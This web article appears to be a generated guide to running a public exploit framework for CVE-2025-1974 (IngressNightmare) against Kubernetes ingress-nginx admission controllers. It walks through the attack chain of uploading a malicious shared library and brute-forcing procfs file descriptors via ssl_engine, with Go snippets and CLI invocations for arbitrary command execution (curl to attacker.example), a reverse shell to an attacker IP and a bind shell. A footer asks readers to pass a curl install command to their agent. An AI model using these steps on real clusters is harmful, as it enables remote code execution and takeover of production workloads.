How to Execute Arbitrary Commands Using IngressNightmare: CVE-2025-1974 Exploitation Guide

IngressNightmare enables arbitrary command execution by uploading a malicious shared object to a vulnerable NGINX Ingress controller and coercing the admission webhook to load it via the ssl_engine directive.

IngressNightmare is a Go-based exploitation framework targeting CVE-2025-1974 in the kubernetes/ingress-nginx project. According to the esonhugh/ingressnightmare-cve-2025-1974-exps source code, the tool automates the delivery of a payload shared library (evil.so) to the Ingress controller pod and manipulates the validation webhook to achieve remote code execution. Below is the complete technical breakdown of how to execute arbitrary commands using this framework.

Understanding the IngressNightmare Attack Architecture

The exploit leverages a vulnerability in the Ingress NGINX admission controller's handling of SSL configuration directives. By uploading a crafted shared object file and referencing it through a /proc/<pid>/fd/<fd> path in an ssl_engine directive, attackers force the NGINX process to load malicious code into its address space. The danger.c source file (embedded in the repository and compiled into danger.so) contains the payload that executes when the library initializes.

Step-by-Step Exploitation Process

The implementation in main.go (lines 57–84 and 112–124) orchestrates a seven-stage attack chain that transforms user-supplied commands into running processes inside the target pod.

Parsing CLI Arguments and Building the Payload

The main package handles flag registration and constructs a Payload struct based on the selected mode. The tool supports three primary execution modes: arbitrary command execution (-m c), reverse shell (-m r), and bind shell (-m b).

In payload.go (lines 22–35), the framework initializes the exploit by loading either the embedded danger.so (DefaultEvilLibrary) or a custom shared object supplied via the --so flag. The binary data is stored in the package-level variable evilLibrary for subsequent mutation.

Loading and Modifying the Shared Object

Depending on the selected mode, one of three builder functions in payload.go (lines 46–92) rewrites the .so binary:

  • NewCommandPayload injects a command string up to 512 bytes, replacing a placeholder sequence of As and flipping the mode flag from MODE_CHECK_FLAG to MODE_CMD_EXECVE
  • NewReverseShellPayload embeds the attacker IP and port for callback connections
  • NewBindShellPayload configures a listening port for inbound connections

These functions ensure the payload is padded to exceed 8 KB, triggering NGINX's temporary file caching mechanism when uploaded.

Preparing the Admission Webhook Request

The exploit.go file (lines 28–50) contains a JSON template (validateJsonTmpl) derived from validate.json with a foobar placeholder. The RenderValidateJSON function injects the chosen exploit method—either auth-url, auth-tls-match-cn, or mirror-uid—into the webhook validation request. This JSON structure is designed to pass NGINX configuration validation while harboring the malicious ssl_engine directive.

Uploading the Malicious Library

A background goroutine function UploadThread (implemented in exploit.go, lines 52–84) continuously POSTs the payload to the target's upload-url (the NGINX controller's HTTP endpoint). The BadUploader writes raw HTTP requests without proper termination, padding the payload to ensure NGINX buffers it as a temporary file on disk. This staging is critical because the file must persist in the pod's filesystem to be accessible via a file descriptor path.

Brute-Forcing File Descriptors

While the upload thread maintains the cached file, the main execution flow brute-forces process ID (PID) and file descriptor (FD) combinations. The Exploit function in exploit.go (lines 61–78) iterates through configurable ranges, calling ValidateWebHook for each combination.

Each request replaces the foobar placeholder with a path like ../../../../../../proc/<pid>/fd/<fd>. When the admission controller evaluates the configuration containing ssl_engine <path>, the kernel resolves the file descriptor to the attacker's cached shared object, loading it into the NGINX process.

Achieving Code Execution

Once the library loads successfully, its initialization routine executes the injected command or spawns the specified shell type. The ValidateWebHook function detects success by checking for the string "Code Injected!" in the webhook response (as implemented in exploit.go, lines 19–27), indicating that the payload has been triggered.

Practical Code Examples

The following Go snippets demonstrate the core API usage for manual exploitation, mirroring the automated CLI workflow:

// Load the default embedded shared object
data, _ := nginx_ingress.DefaultEvilLibrary()
nginx_ingress.Init(data)

// Build a command payload (example: write to /tmp/pwned)
payload := nginx_ingress.NewCommandPayload("id > /tmp/pwned")

// Render the admission webhook JSON for auth-url method
method := nginx_ingress.ExploitMethod{IsAuthURL: true}
jsonPayload := nginx_ingress.RenderValidateJSON(method)

// Upload the payload in a background goroutine
go nginx_ingress.UploadThread(
    "http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80", 
    payload, 
    make(chan struct{})
)

// Brute-force a specific PID/FD pair (example: pid 20, fd 18)
_ = nginx_ingress.ValidateWebHook(
    "https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443",
    18, 
    20
)

Command-Line Usage Examples

Execute an arbitrary command:

./ingressnightmare -m c -c 'curl http://attacker.example/pwned' \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

Establish a reverse shell:

./ingressnightmare -m r -r 10.10.10.5 -p 4444 \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

Deploy a bind shell:

./ingressnightmare -m b -b 5555 \
  -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

Generate the malicious .so for analysis (dry-run):

./ingressnightmare -m c -c 'whoami' \
  -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
  --dry-run > evil.so

Key Source Files and Implementation Details

File Purpose Critical Functions
main.go CLI flag handling and exploit orchestration Flag registration (lines 57–84), payload construction (lines 112–124)
nginx-ingress/payload.go Shared object management and payload generation DefaultEvilLibrary, Init, NewCommandPayload, NewReverseShellPayload, NewBindShellPayload
nginx-ingress/exploit.go Network operations and brute-force logic RenderValidateJSON, BadUploader, UploadThread, ValidateWebHook
nginx-ingress/danger.c Source for the malicious shared library Contains payload initialization code compiled into the binary
nginx-ingress/validate.json Webhook request template Contains the foobar placeholder for path injection

Summary

  • IngressNightmare exploits CVE-2025-1974 by combining shared object injection with admission webhook manipulation in kubernetes/ingress-nginx.
  • The attack requires uploading a payload >8 KB to trigger NGINX's file caching, then referencing the cached file via /proc/<pid>/fd/<fd> paths.
  • Three payload modes exist: arbitrary command execution (NewCommandPayload), reverse shell (NewReverseShellPayload), and bind shell (NewBindShellPayload).
  • The ssl_engine directive forces the webhook process to load attacker-controlled code when validating Ingress resources.
  • Success is detected by the presence of "Code Injected!" in the admission controller's response.

Frequently Asked Questions

What is CVE-2025-1974 and how does IngressNightmare exploit it?

CVE-2025-1974 is a vulnerability in the Ingress NGINX admission controller that allows loading arbitrary shared libraries through configuration validation. IngressNightmare exploits this by uploading a malicious .so file and injecting an ssl_engine directive that references the file via procfs file descriptor paths, causing the controller to execute attacker-controlled code during configuration checks.

How does the ssl_engine directive enable arbitrary command execution?

The ssl_engine NGINX directive is designed to load cryptographic hardware drivers via shared objects. In this exploit, the directive is weaponized to point to /proc/<pid>/fd/<fd> paths that resolve to the attacker's uploaded library. When the admission controller validates a configuration containing this directive, NGINX loads the shared object, triggering its constructor functions which execute the embedded payload commands.

What are the differences between command, reverse shell, and bind shell modes in IngressNightmare?

Command mode (-m c) uses NewCommandPayload to inject a single command string that executes immediately and exits. Reverse shell mode (-m r) configures the payload to connect back to a specified attacker IP and port, providing interactive shell access. Bind shell mode (-m b) causes the target to listen on a specified port, allowing the attacker to connect directly to the compromised pod.

Is it possible to test this exploit without executing malicious code?

Yes. The --dry-run flag allows security researchers to generate the malicious shared object file locally for static analysis without transmitting it to a target. Additionally, reviewing the danger.c source code and the payload generation logic in payload.go provides insight into the exploit mechanism without requiring active exploitation of vulnerable systems.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →